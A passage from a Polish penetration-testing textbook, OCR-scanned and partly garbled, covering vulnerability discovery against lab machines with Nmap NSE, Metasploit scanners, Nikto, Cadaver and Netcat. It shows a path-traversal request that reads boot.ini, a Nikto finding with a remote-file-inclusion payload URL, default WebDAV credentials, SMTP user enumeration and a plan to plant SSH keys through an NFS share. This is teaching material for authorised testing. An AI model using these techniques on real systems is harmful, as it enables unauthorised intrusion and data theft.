dzialajacy na porcie 80 to prawdopodobnie XAMPP 1.7.2 @. W czasie kiedy
powstawala ta ksiazka, najnowsza stabilng wersja tego pakietu byla wersja 1.8.3.
Jak widad, zainstalowana wersja jest nieco przestarzala, wiec istnieje pewna
nadzieja, ze moze mieé takie czy inne luki w zabezpieczeniach i by¢ podatna na
odpowiednio przygotowane ataki.

Poza ujawnianiem potencjalnych podatnosci i luk w zabezpieczeniach skan
z uzyciem skryptéow NSE pozwala réwniez na wykluczenie z plaszezyzny ataku
niektérych ustug. Na przyktad wyniki dziatania wskazuja, ze serwer MySQL dzia-
ajacy na porcie 3306 nie pozwala nam na ustanowienie polaczenia, poniewaz
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adres IP naszego komputera nie znajduje sie na liscie hostéw uprawnionych do
,rozmowy  z tym serwerem @. Do préby polgczenia z tym portem mozemy
powréeié nieco pézniej, w fazie eksploracji powltamaniowej, kiedy uda nam sie juz
dosta¢ na inne komputery dziatajace w srodowisku celu, ale na razie mozemy spo-
kojnie wylgczy¢ serwer MySQL i jego podatnosci z zakresu planowanego ataku.

Uruchamianie wybranego skryptu NSE

Zanim przejdziemy do omawiania innych zagadnien, przyjrzymy sie kolejnemu
przykladowi zastosowania skryptéw NSE, tym razem takich, ktére nie sg czeScia
kolekeji default. Z wynikéw dziatania skanera Nmap w poprzednim rozdziale
wiemy, ze nasz host-cel z systemem Linux wykorzystuje ustuge NFS (ang. Net-
work File System), ktéra pozwala klientom zdalnym na dostep za posrednictwem
sieci do zasobow znajdujacych sie w lokalnym systemie plikéw hosta. Doswiad-
czeni pentesterzy wiedza jednak, ze bezpieczne skonfigurowanie ustugi NFS jest
znacznie tatwiejsze w teorii niz w praktyce. Bardzo wielu uzytkownikéw po prostu
nie zdaje sobie sprawy z konsekwencji, jakie moze nie$¢ ze soba umozliwienie
uzytkownikom zdalnym uzyskania dostepu do swoich lokalnych plikéw. W koticu
co moze sie tutaj wydarzy¢? Czy kogo$ to obchodzi, ze daje dostep do mojego
katalogu domowego innym uzytkownikom z mojej firmy czy organizacji?

Skrypt nfs-Is.nse modutu NSE dokonuje proby polaczenia sie z ustugg NFS
i przeprowadza audyt udostepnionych zasobéw. Wiecej szczegétowych informacji
na temat tego skryptu mozesz wyswietli¢, dodajac w wierszu wywolania flage
--script-help, tak jak zostato to przedstawione na listingu 6.4.

Listing 6.4. Wyswietlanie szczegétowych informacji o skrypcie NFS-LS
root@kali:~# nmap --script-help nfs-1s
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT

nfs-Ts
Categories: discovery safe
http://nmap.org/nsedoc/scripts/nfs-1s.html
Attempts to get useful information about files from NFS exports.
The output is intended to resemble the output of <code>1s</code>.

(...)

Po uruchomieniu skrypt prébuje zamontowaé udzialy sieciowe udostepnione
na maszynie zdalnej, sprawdza, jakie prawa zostaly im przydzielone, i wyswietla
liste plikow znajdujacych sie w poszezegélnych udzatach sieciowych. Aby urucho-
mi¢ ten skrypt, powiniene$ w wierszu wywolania umie$ci¢ opcje --script i po
niej podaé nazwe skryptu, co zostalo pokazane na listingu 6.5.
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Listing 6.5. Wyniki dziatania skryptu NFS-LS

root@kali:/#

nmap --script=nfs-1s 192.168.20.11

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST
Nmap scan report for 192.168.20.11

Host is up (0

.00040s Tatency).

Not shown: 993 closed ports

E SERVICE VERSION
ftp vsftpd 2.3.4
ssh OpenSSH 5.1pl Debian 3ubuntul (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with
>Suhosin-Patch)
rpcbind 2 (RPC #100000)

PORT STAT
21/tcp  open
22/tcp  open
80/tcp  open
111/tcp open
| nfs-Ts:
| Arguments:
maxfile

NFS Acces
PERMISS

|
|
|
|
|
|
|
|
|
|
|
|
|
|
(
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drwxr-xr-x

drwxr-xr-x

s: 10 (file listing output limited)

NFS Export: /export/georgia @

Extend Delete NoExecute
MODIFICATION TIME FILENAME
2013-12-28 23:35  /export/georgia
2013-12-26 03:41  .Xauthority
2013-12-28 21:54  .bash_history
2013-10-27 03:11  .cache
2013-10-27 03:11  .esd_auth
2013-10-27 03:11 .gnupg

? .gvfs
19:03  .recently-used.xbel
23:38  .ssh @

s: Read Lookup Modify
ION UID GID SIZE
1000 1000 4096
1000 1000 117
1000 1000 3645
1000 1000 4096
1000 16
1000 4096

? ?
1000 864
1000 4096

2013-12-15
2013-12-15

Jak wida¢, w naszej maszynie z systemem Linux skrypt NSE znalazt udziat NFS
0 nazwie Jexport/georgia @. Ciekawym znaleziskiem moze by¢ to, ze znajduje sie
w nim katalog .ssh @, w ktérym mogg by¢ przechowywane rézne wrazliwe infor-
macje, takie jak klucze SSH czy lista autoryzowanych kluczy (o ile na serwerze
SSH zostalo wlaczone uwierzytelnianie za pomocg klucza publicznego).

Kiedy podczas przeprowadzania testu penetracyjnego natkniesz sie na taki
skalafior” w konfiguracji praw dostepu, oczywistym posunieciem kazdego doswiad-
czonego pentestera bedzie wykorzystanie takiej pomylki administratora systemu
i dolozenie sobie uprawnien zapisu pozwalajacych na dopisanie nowego klucza
SSH do listy autoryzowanych kluczy znajdujacej sie w pliku authorized_list. Jezeli
taka proba sie powiedzie, okaze sie, ze z pozoru niewinne przeoczenie prawa do
edycji plikéw innego uzytkownika przerodzilo sie w powazne naruszenie bezpie-
czefistwa systemu, co umozliwilo nieautoryzowanemu uzytkownikowi zalogowanie
sie do zdalnego systemu i wykonywanie w nim réznych operacji.

Zanim przejdziemy dalej, musimy sie upewnié, ze na komputerze-celu z syste-
mem Linux jest wlaczone uwierzytelnianie za pomocg publicznego klucza SSH,
dzieki ktéremu bedziemy mogli przeprowadzi¢ opisany powyzej atak. Logowanie
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za pomocy klucza jest uwazane za najsilniejszg forme uwierzytelniania SSH i jest
rekomendowanym sposobem zabezpieczania dostepu do systemu. Szybka préba
polaczenia sie z maszyng linuksowa za pomocy sesji SSH pokazuje, ze opcja logo-
wania przy uzyciu klucza publicznego jest wlaczona @, co zostalo pokazane na
listingu 6.6.

Listing 6.6. Metody uwierzytelniania SSH

root@kali:/# ssh 192.168.20.11

The authenticity of host '192.168.20.11 (192.168.20.11)"' can't be established.
RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts.
root@192.168.20.11's password:

Permission denied (publickey @,password).

UWAGA  Nicektdre skrypty NSE mogq powodowaé awarie wybranych ustug lub nawet uszko-
dzic¢ atakowany system. Co cickawe, istnieje réwniez osobna kategoria skryptow
przeznaczonych do przeprowadzania atakéw typu DoS (ang. Denial of Service)
oraz wiele skryptow do wyszukiwania okreslonych podatnosci i luk w zabezpie-
czeniach. Na przyktad skrypt smb-check-vulns sprawdza badany system pod kqgtem
wystepowania luki MS08-067 i innych podatnosci serwera SMB. W opisie tego
skryptu znajdziesz informacje, ze jego dziatanie moze byc potencjalnie niebez-
pieczne dla systemu zdalnego i ze nie powinienes uzywad tego skryptu do testo-
wania systemow produkcyjnych, o ile nie jestes przygotowany na ewentualng awarie
takiego systemu.

Moduly skanerow pakietu Metasploit

Pakiet Metasploit, o ktérym moéwilisSmy w rozdziale 4., réwniez posiada szereg
dodatkowych modutéw pomocniczych pozwalajacych na przeprowadzanie skano-
wania zdalnych hostéw w poszukiwaniu potencjalnych podatnosci i luk w zabez-
pieczeniach. W przeciwienstwie do moduléw exploitéw, moduly skaneréw nie
pozwalaja na przejmowanie kontroli nad atakowanymi hostami, ale w zamian
wys$wietlaja listy potencjalnych podatnosci takich hostéw na ataki, ktére mozemy
wykorzysta¢ w dalszej fazie przeprowadzania testow penetracyjnych.

Jednym z takich moduléw pomocniczych jest modul, ktéry pozwala na wyszu-
kiwanie na zdalnych hostach serweréw FTP zezwalajacych na anonimowy dostep
do swoich zasob6éw. Cho¢ reczna proba anonimowego zalogowania sie do jednego
czy drugiego serwera FTP w celu sprawdzenia mozliwo$ci dostepu nie stanowi
oczywiScie zadnego problemu, to jednak za pomocg zautomatyzowanego modutu
pomocniczego pakietu Metasploit mozesz szybko sprawdzi¢ bardzo wiele hostéw,
co w przypadku przeprowadzania testéw penetracyjnych rozbudowanych §ro-
dowisk z pewnoscig przyczyni sie do oszczedzenia duzej ilosci czasu.
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Aby wybraé okreslony modut, powiniene$ uzyé polecenia use. Nastepnie za
pomoca polecenia set ustaw cel skanowania i uruchom modut poleceniem exploit,
tak jak zostalo to przedstawione na listingu 6.7. Sktadnia poszczegélnych pole-
cen jest bardzo podobna do tego, co robilismy w rozdziale 4.

Listing 6.7. Przyktad zastosowania modutu ftp/anonymous
msf > use scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11
RHOSTS => 192.168.20.10-11
msf auxiliary(anonymous) > exploit

[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de) @

220 Please visit http://sourceforge.net/projects/filezilla/)

[*] Scanned 1 of 2 hosts (050% complete)

[*] 192.168.20.11:21 Anonymous READ (220 (vsFTPd 2.3.4)) @

[*] Scanned 2 of 2 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(anonymous) >

Znacznik @ wskazuje miejsca informujace, ze zaréwno nasza maszyna z syste-
mem Windows XP, jak i maszyna z systemem Linux posiadaja uruchomione
serwery FTP pozwalajace na anonimowy dostep do zasob6éw (ang. anonymous user).
Odpowiedz na pytanie, czy jest to powazne naruszenie bezpieczenstwa systemu,
zalezy w gléwnej mierze od tego, jakie pliki mozna znalez¢ w katalogu anonimo-
wego uzytkownika serwera FTP. Osobiscie zdarzalo mi sie realizowa¢ w firmach
zlecenia, w trakcie ktérych podczas testu penetracyjnego okazywalo sie, ze na
serwerach FTP z dostepem do internetu znajdowaly sie przerézne dokumenty
zawierajace poufne i wrazliwe dane firmy. Z drugiej strony nieraz w takich §ro-
dowiskach widywatam serwery FTP z anonimowym dostepem, gdzie istnienie
takiego serwera bylo podyktowane potrzebami biznesowymi, ale jego zawartosé
nie stanowila zadnego zagrozenia dla bezpieczefistwa danych firmy. Jak widac,
jest to kolejny przyktad sytuacji, w ktérej doswiadczony pentester musi osobiscie
oszacowaé ryzyko, jakie niesie ze sobg w okreslonym $rodowisku potencjalna
sluka” wskazana przez zautomatyzowane narzedzie skanujace.

Sprawdzanie podatnosci na exploity
za pomoca polecenia check pakietu Metasploit

Kup ksigzke

Niektore exploity dostepne w pakiecie Metasploit posiadajg wbudowang funkcje
check, ktéra zamiast wykorzystywac okreslong luke w zabezpieczeniach, spraw-
dza tylko, czy zdalny host jest podatny na taki atak. Polecenia check mozemy
uzywaé do sprawdzania ad hoc, czy dany exploit ma szanse zadziata¢ w okreslonym
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srodowisku celu, tak jak zostato to przedstawione na listingu 6.8. Korzystajac
z polecenia check, nie musimy definiowa¢ tadunku, poniewaz nie dochodzi tutaj
do wykorzystania samej luki w zabezpieczeniach, ale tylko do sprawdzenia podat-
nosci na danego exploita.

Listing 6.8. Sprawdzanie podatnosci na exploita
msf > use windows/smb/ms08_067 netapi

msf exploit(ms08 067 netapi) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
msf exploit(ms08 067 netapi) > check (1)

[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable. @
msf exploit(ms08_067_netapi) >

Po uruchomieniu sprawdzania podatnosci @ Metasploit informuje, ze cel ataku
(maszyna z systemem Windows XP) jest podatna na exploita ms08_067_netapi @,
tak jak moglismy tego oczekiwac.

Niestety nie wszystkie moduly exploitéw majg wbudowang funkcje check (jezeli
sprébujesz uruchomié polecenie check dla exploita, ktéry nie obstuguje tej funkcji,
Metasploit wyswietli na ekranie odpowiedni komunikat). Na przyktad bazujac na
wynikach skanu Nmap z detekcja wersji opisywanego w poprzednim rozdziale,
wiemy, ze na maszynie z systemem Windows XP dziala serwer poczty elektro-
nicznej, ktérego wersja wydaje sie przestarzala i podatna na ataki. Rzeczywiscie,
pakiet SLMail w wersji 5.5.0.4433 posiada dobrze znang luke w zabezpieczeniach,
CVE-2003-0264, dla ktérej mozemy tatwo wyszukaé odpowiedniego exploita,
uzywajac polecenia search konsoli Msfconsole i podajac w wierszu polecenia ciag
znakéw cve:2003-0264.

Po wybraniu modutu exploita mozemy sprawdzi¢, czy ma wbudowana obstuge
polecenia check, co zostalo pokazane na listingu 6.9.

Listing 6.9. Modut exploita seattlelab_pass nie obstuguje funkcji check

msf exploit(seattlelab_pass) > set RHOST 192.168.20.10
rhost => 192.168.20.10

msf exploit(seattlelab_pass) > check

[*] This exploit does not support check.

msf exploit(seattlelab_pass) >

Jak sie okazuje, modut exploita seattlelab_pass nie ma zaimplementowanej
obstugi funkcji check, wiec nie mozemy szybko sprawdzié, czy nasz cel jest podatny
na taki atak. Mimo ze patrzac na numer wersji serwera SLMail POP3, mozemy
$mialo zalozy¢, iz serwer bedzie podatny na atak, to jednak w tym przypadku
Metasploit nie potrafi nam tego potwierdzi¢. W takich sytuacjach nie bedziemy
pewni koficowego rezultatu az do momentu przeprowadzenia samego ataku.
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Skanowanie aplikacji internetowych

Cho¢ w srodowisku celu mozesz oczywiscie znalezé whasne aplikacje internetowe
klienta, ktére moga by¢ podatne na r6znego rodzaju ataki, to jednak powinienes
pamietaé, ze réwnie dobrze takie same luki w zabezpieczeniach moga sie zda-
rzaé w gotowych, komercyjnych aplikacjach internetowych, takich jak aplikacje
finansowe, Webmail i inne. Jezeli podczas rozpoznawania zdalnego systemu znaj-
dziesz instancje takiej aplikacji, to odpowiednie wykorzystanie takiej podatnosci
moze Ci pozwolié na zdobycie przyczotka w atakowanym srodowisku.

Luki w zabezpieczeniach aplikacji internetowych sa szczegélnie interesujace
przy przeprowadzaniu zewnetrznych testéw penetracyjnych, w przypadku kto-
rych powierzchnia ataku jest czesto ograniczona praktycznie tylko do serwera
WWW. Przyklad przedstawiono na rysunku 6.14 — jak widaé¢, préba wyswietlenia
domyslnej strony internetowej serwera WWW dzialajacego na naszej maszynie
linuksowej doprowadzita do odkrycia strony tworzonej podczas instalacji serwera
Apache.

Sat Dec 29, 2:01 PM

ttp://192.168.20.11/

<« [ @ 1921682011 v €| [ coogle Q] £

It works!

Rysunek 6.14. Domysina strona internetowa serwera Apache

Warto jednak zauwazy¢, ze dopéty, dopéki nie odkryjemy jakiej$ powaznej
podatnosci serwera WWW, préba przetamania zabezpieczen przy uzyciu prostej
strony wyswietlajacej komunikat It works! moze nie by¢ trywialnym zadaniem...
Nie bedziemy sie jednak poddawaé i zanim catkowicie zrezygnujemy z tego
wektora ataku, uzyjemy zautomatyzowanego skanera podatnosci aplikacji inter-
netowych do sprawdzenia, czy co§ nam tutaj nie umkneto.

Pakiet Nikto

Kup ksigzke

Pakiet Nikto to preinstalowany w systemie Kali Linux skaner podatnosci aplikacji
internetowych, ktéry spelia podobna role jak Nessus — poszukuje na serwerach
WWW niebezpiecznych plikéw, starych, podatnych na ataki wersji oprogramo-
wania czy bledéw w konfiguracjach. Aby za pomoca tego skanera przeprowadzic¢
badanie naszej maszyny z systemem Linux, musimy w wierszu polecenia za pomoca
flagi —h zdefiniowa¢ adres hosta, tak jak zostato to przedstawione na listingu 6.10.
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Listing 6.10. Uruchamianie skanera Nikto

root@kali:/# nikto -h 192.168.20.11

- Nikto v2.1.5

+ Target IP: 192.168.20.11

+ Target Hostname: 192.168.20.11

+ Target Port: 80

+ Start Time: 2015-12-28 21:31:38 (GMT-5)

+ Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
(...)

+ 0SVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=18min=18max=2&f[]=
>x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains
“>a vulnerability which allows remote attackers to execute arbitrary PHP
Scode. @

+ 6474 items checked: 2 error(s) and 7 item(s) reported on remote host

+ End Time: 2015-12-28 21:32:41 (GMT-5) (63 seconds)

Reczne przegladanie konfiguracji zdalnego serwera WWW w poszukiwaniu
aplikacji i stron posiadajacych znane podatnosci i luki w zabezpieczeniach moze
by¢ nieco przerazajacym zadaniem, ale na szczescie Nikto bierze je na siebie.
Jednym z bardziej ciekawych rezultatéow naszego przyktadowego skanu moze
by¢ znalezienie podatnej na ataki wersji pakietu TikiWiki @. Rzeczywiscie, kiedy
wejdziemy na strone http://192.168.20.11/tikiwiki/, znajdziemy instancje tego
dobrze znanego i popularnego oprogramowania CMS. Nikto podaje informacje,
ze ta instalacja jest podatna na atak pozwalajacy na wykonanie odpowiednio
spreparowanego kodu, a szczegélowa analiza opisu podatnosci OSVDB-40478
w bazie Open Sourced Vulnerability Database ujawnia, ze w pakiecie Metasploit
istnieje gotowy exploit pozwalajacy na wykorzystanie tej luki.

UWAGA  OSVDB (http://osvdb.org) to repozytorium opiséw luk w zabezpieczeniach wyste-
pujgcych w oprogramowaniu typu open source, takim jak TikiWiki, zawierajqgcych
szezegolowe informacje na temat podatnosci wystepujgeych w szerokiej gamie
produktéw. Bazy OSVDB mozesz uzywac jako dodatkowego Zrédla informacji
na temat interesujgcych Cig luk w zabezpieczeniach.

Ataki na pakiet XAMPP

Przegladajac zasoby serwera WWW dzialajacego na naszej maszynie-celu z syste-
mem Windows XE mozemy sie przekona¢, ze pod adresem http://192.168.20.10/ jest
wySwietlana domy$lna strona internetowa, ktéra nalezy do pakietu XAMPP 1.7.2.
Domyslnie kazda instalacja pakietu XAMPP zawiera konsole phpMyAdmin,
czyli aplikacje internetowg pozwalajaca na zarzadzanie bazg danych MySQL.
W idealnych warunkach konsola phpMyAdmin nie powinna by¢ dostepna w sieci,
a jezeli juz, to dostep do niej powinien wymagaé podania nazwy konta uzytkow-
nika i hasta dostepu. Jednak w przypadku tej wersji pakietu XAMPP konsola
phpMyAdmin jest dostepna pod adresem hittp://192.168.20.10/phpmyadmin i nie
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wymaga uwierzytelnienia. Co gorsza, konsola phpMyAdmin daje dostep na pra-
wach uzytkownika root do tego samego serwera MySQL, do ktérego zgodnie
z raportem ze skryptu NSE nie mozemy sie podlaczy¢ bezposrednio. Dzicki kon-
soli phpMyAdmin mozemy obej$é to ograniczenie i swobodnie wykonywaé zapyta-
nia bezposrednio na serwerze MySQL, co zostalo pokazane na rysunku 6.15.

@a [@ 192.168.20.10/phpmyadn v @] [Mv cooge Q]
e S e e o . s -
phpilyAsdmin

Interface » Apache/2.2.12 (Win32) DAV/2
- mod_ssl/2.2.12 OpenSSL/0.9.8k
& Language @: | English N mod_autoindex_color PHP/5.3.0

« cdeol (1) @& Theme / style: [ original = mod_peri/2.0.4 Perl/v5.10.0

« information_schema (29) ——— » MySQL client version: 5.1.37

* mysql (23) » Custom color: /7 Reset » PHP extension: mysqli

& phpmyadmin (8) et |

» Fontsize:|82% V¥
s test |Q phpMyAdmin
Plesse tilaer A datahase » Version information: 3.2.0.1

B pocumentation

B wiki

&} official Homepage

» [ChangeLog] [Subversion] [Lists]

Your configuration file contains settings (root with no password) that correspond to the default MySQL privileged
A\ account. Your MySQL server is running with this default, is open to intrusion, and you really should fix this security
hole by setting a password for user ".root'.

= Open new phpMyAdmin window @

Rysunek 6.15. Otwarta konsola phpMyAdmin wyswietla komunikat wskazujqgcy
na niepoprawngq konfiguracje zabezpieczen

Poswiadczenia domysine
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Oprocz otwartego dostepu do konsoli phpMyAdmin szybkie zapytanie serwisu
Google ujawnia kolejny ,.kwiatek” — okazuje sie, ze w sktad pakietu XAMPP
w wersji 1.7.3 i wersji wezesniejszych wechodzi dodatek WebDAV (ang. Web Distri-
buted Authoring and Versioning), ktory jest wykorzystywany do zarzadzania pli-
kami na serwerze WWW za posrednictwem polaczein HTTP. Dodatek WebDAV
z pakietu XAMPP jest instalowany z domy$lnym kontem uzytkownika i hastem
wampp:xampp. Jezeli administrator systemu nie zmieni tych domyslnych ustawien,
potencjalnie kazdy uzytkownik z dostepem do WebDAV moze sie tam zalogowad,
zmienié zawarto$¢ dowolnej strony internetowej przechowywanej na serwerze
czy nawet zainstalowa¢ dodatkowe skrypty oraz moduty pozwalajace na utrzyma-
nie przyczotka w tak zdobytym systemie i zapewniajace staly dostep do serwera
WWW. Jak wida¢ na rysunku 6.16, dodatek WebDAV rzeczywiscie jest dostepny
na naszym serwerze.

I e R B e e e e U
(] [ @ 192.168.20.10/webday, 1 v @| [ cooge Q] Y

‘WebDAV testpage

Rysunek é6.16. Dodatek WebDAV

Wyszukiwanie podatnosci i luk w zabezpieczeniach 201

Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Do interaktywnej pracy z serwerami wyposazonymi w dodatek WebDAV
mozemy uzy¢ narzedzia o nazwie Cadaver. Na listingu 6.11 przedstawiono przy-
ktad sesji, w ktorej Cadaver taczy sie z dodatkiem WebDAV serwera http://192.
168.20.10 i nastepnie probuje zalogowad sie przy uzyciu domyslnej nazwy konta
uzytkownika i hasta dostepu.

Listing 6.1 . Zastosowanie programu Cadaver

root@kali:/# cadaver http://192.168.20.10/webdav

Authentication required for XAMPP with WebDAV on server "192.168.20.10':
Username: wampp

Password:

dav:/webdav/> @

Nietrudno zauwazy¢, ze programowi Cadaver udalo sie pomySlnie zalogowaé
do serwera @. Jak wida¢, dodatek WebDAYV, dziatajacy na maszynie-celu z syste-
mem Windows XPB, wykorzystuje domyslny zestaw poswiadczen, ktérego bedziemy
mogli uzyé do uzyskania dostepu do systemu. Majac dostep do konsoli WebDAV,
mozemy bez trudu zatadowaé na serwer WWW dowolne pliki.

Samodzielna analiza podatnosci

W praktyce zdarzaja sie jednak sytuacje, w ktorych nic innego nie sprawdza sie tak
dobrze jak samodzielne wyszukiwanie i analiza potencjalnych luk w zabezpie-
czeniach, w trakcie ktérych pentester musi uzy¢ calej swojej wiedzy i doswiad-
czenia do oszacowania mozliwoSci wykorzystania takiej czy innej podatnosci do
uzyskania dostepu do atakowanego systemu. W kilku kolejnych podrozdziatach
oméwimy pare przykladéw sytuacji, w ktorych zdecydowanie warto bedzie samo-
dzielnie szczegétowo zbadaé niektére obiecujace tropy znalezione w wynikach
dziatania zautomatyzowanych skaneréw portéw i podatnosci.

Eksploracja nietypowych portéow

Podczas skanowania portéw maszyny-celu z systemem Windows XP dowiedzie-
lismy sie, ze port 3232 jest otwarty, jednak w trakcie proby nieco bardziej agre-
sywnego skanowania z detekeja wersji oprogramowania ustuga dzialajaca na tym
porcie ulegla awarii (patrz rozdzial 5.). Takie zachowanie moze sugerowaé, ze
program nastuchujacy na danym porcie oczekuje przesyltania okreslonych infor-
macji i nie bardzo sobie radzi z przetwarzaniem innych, niespodziewanych danych
pojawiajacych sie na tym porcie.

Z punktu widzenia pentestera opisane wyzej zachowanie uslugi sieciowej jest
bardzo interesujace, poniewaz oznacza to, ze program dzialajacy na danym porcie
nie potrafi prawidlowo oszacowaé¢ poprawnosci danych naptywajacych na jego
wejscie. Jak pamietasz, w rozdziale 5. komunikaty wysylane w czasie awarii
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oprogramowania dzialajagcego na tym porcie pozwolily nam okresli¢, ze jest to
serwer WWW. Préba polaczenia z portem 3232 za pomocy przegladarki siecio-
wej potwierdza takie przypuszczenie, co zostalo pokazane na rysunku 6.17.

Enpinszea0ns

< [@ 192.168.20.10:3232 v @] [qvcooge Q)

hi

Rysunek 6.17. Serwer WWW dziatajqcy na porcie 3232

Nietrudno zauwazy¢, Ze na tej stronie nie ma zbyt wielu ciekawych informacji,
ale majac potwierdzenie dziatania portu, mozemy sprébowa¢ polaczy¢ sie z nim
za pomocg programu Netcat. Wiemy, ze program dziatajacy na porcie 3232 to
serwer WWW, wiec sprébujemy do niego ,,zagada¢” w jezyku, ktéry powinien byé
dla niego zrozumialy. Sesja z przegladarka pokazata, ze mozemy wySwietli¢
domys$lng strone WWW, a zatem naszym pierwszym poleceniem wystanym do
serwera bedzie prosba o przestanie tej strony. Aby to zrobi¢, po uzyskaniu pota-
czenia wpisz polecenie GET / HTTP/1.1, tak jak zostato to przedstawione na lis-
tingu 6.12.

Listing 6.12. Potqczenie z portem 3232 przy uzyciu programu Netcat

root@kali:~# nc 192.168.20.10 3232
GET / HTTP/1.1

HTTP/1.1 200 OK

Server: Zervit 0.4 @
X-Powered-By: Carbono

Connection: close

Accept-Ranges: bytes

Content-Type: text/html
Content-Length: 36

<htm1>

<body>

hi

</body>
</html>root@bt:~#

Serwer WWW przedstawil nam sie uprzejmie jako Zervit 0.4 @. Nie wrozy
to dla atakowanego systemu niczego dobrego, poniewaz juz jeden z pierwszych
wynikéw wyszukiwania zwracanych przez Google dla frazy Zervit 0.4 nosi tytul
»Zervit 0.4 exploit”. Ten skadinad sympatyczny serwer WWW moze sie niestety
~poszczycié” duzg liczbg znanych luk w zabezpieczeniach, takich jak bledy
przepehienia bufora czy bledy pozwalajace na ujawnianie zawartosci lokalnych
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plikéw serwera (ang. local file inclusion vulnerability). Oprogramowanie to jest na
tyle wrazliwe, ze by¢ moze najlepszym rozwigzaniem bedzie unikanie prob wyko-
rzystania bled6w przepelnienia bufora w obawie przed spowodowaniem nieza-
mierzonej awarii serwera... Z drugiej strony luki w zabezpieczeniach powodujace
mozliwo$§¢ wymuszenia na serwerze ujawnienia zawarto$ci plikéw lokalnych
wygladaja bardzo zachecajaco. Wiemy, ze serwer potrafi przetwarzaé zadania
HTTP GET. W takiej sytuacji mozemy dokona¢ préby pobrania z systemu Win-
dows XP pliku boot.ini poprzez wystanie zgdania GET powodujacego cofniecie sie
0 pie¢ pozioméw w gore hierarchii systemu plikéw do katalogu gléwnego dysku C,
tak jak zostato to przedstawione na listingu 6.13.

Listing 6.13. Luka pozwalajgca na ujawnienie zawartosci lokalnych plikéw w serwerze
Zervit 0.4

root@kali:~# nc 192.168.20.10 3232

GET /../../../../../boot.ini HTTP/1.1
HTTP/1.1 200 OK

Server: Zervit 0.4

X-Powered-By: Carbono

Connection: close

Accept-Ranges: bytes

Content-Type: application/octet-stream
Content-Length: 211

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" /fastdetect /NoExecute=OptIn

Jak wida¢, bylismy w stanie pobra¢ plik boot.ini, czyli plik konfiguracyjny
informujacy system Windows o tym, ktére opcje tadowania systemu operacyjnego
beda wyswietlane podczas uruchamiania systemu. W rozdziale 8. uzyjemy tej
podatnosci do pobierania innych wrazliwych plikéw z tego systemu.

Wyszukiwanie nazw kont uzytkownikow

Szanse na przeprowadzenie pomyslnego ataku na hasta dostepu drastycznie rosna,
jezeli znamy nazwy kont uzytkownikéw dla poszczegélnych ustug (wiecej szeze-
gotowych informacji na ten temat znajdziesz w rozdziale 9.). Jednym ze sposobow
znalezienia poprawnych nazw kont uzytkownikéw serwera poczty elektronicznej
jest wykorzystanie komendy VRFY, o ile oczywiscie jest ona dostepna. Jak sama
nazwa moze sugerowaé, komenda VRFY sprawdza, czy podane konto uzytkownika
istnieje na serwerze. Skanowanie przeprowadzone za pomoca programu Nmap
i skryptéw NSE ujawnilo wczesniej, ze na serwerze poczty elektronicznej, dziata-
jacym na naszej maszynie z systemem Windows XB wykonywanie komendy VRFY
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jest dozwolone. Polacz sie z portem TCP/25 za pomocy programu Netcat i uzyj
komendy VRFY do sprawdzenia poprawnosci kilku kont uzytkownikéw, tak jak
zostalo to przedstawione na listingu 6.14.

Listing 6.14. Zastosowanie komendy SMTP VRFY

root@kali:~# nc 192.168.20.10 25

220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
VRFY georgia

250 Georgia<georgia@>

VRFY john

551 User not Tocal

Za pomocg komendy VRFY mozemy sie przekonad, ze konto uzytkownika
0 nazwie georgia istnieje na serwerze, czego nie mozna jednak powiedzie¢ o koncie
john. Nazw kont uzytkownikéw bedziemy uzywali w rozdziale 9. podczas préb
odgadniecia haset dostepu.

Podsumowanie

Kup ksigzke

W tym rozdziale omawialismy wiele réznych metod wyszukiwania podatnosci i luk
w zabezpieczeniach hostéw dziatajacych w naszym $rodowisku testowym. Korzy-
stajac z wielu réznych narzedzi i technik, bylismy w stanie znaleZ¢ niezliczone
sposoby uzyskania dostepu do komputeré6w bedacych celami atakéw, wlaczajac
w to takie metody jak wykorzystanie stynnej luki MS08-067 w serwerze SMB
systemu Windows XP czy bledy pozwalajace na pobieranie plikéw lokalnych ser-
wera Zervit 0.4. Dzieki uzyciu komendy VRFY moglismy odszuka¢ i potwierdzié
poprawno$¢ jednego z kont uzytkownikéw, ktére nastepnie mozemy wykorzystac
do przeprowadzenia atakéw na hasta dostepu do serwera poczty elektronicznej.

Na podstawie skanowania z detekcja wersji dowiedzieliSmy sie réwniez, ze
serwer SLMail moze posiada¢ luki w zabezpieczeniach ustugi POP3 (cho¢ nie
udato nam sie jeszcze tego potwierdzic), a oprécz tego na serwerze WWW znalez-
lismy catkowicie otwartg konsole phpMyAdmin, ktéra daje nam dostep na poziomie
uzytkownika root do bazy danych MySQL, oraz zainstalowany dodatek WebDAV,
wykorzystujacy domyslny zestaw poswiadczen, za pomocg ktérego mozemy ,,wrzu-
ci¢” na taki serwer dowolne pliki. W maszynie-celu, pracujacej pod kontrolg
systemu Linux, udalo nam sie znalez¢é sieciowy udzial NFS, pozwalajacy na zapi-
sywanie plikéw w katalogu .ssh, oraz nieco ,ukryta” instalacje pakietu TikiWiki,
ktéra najprawdopodobniej ma luke pozwalajaca na zdalne wykonywanie odpo-
wiednio spreparowanego kodu. Odkryty przez nas serwer Vsftpd 2.3.4 moze
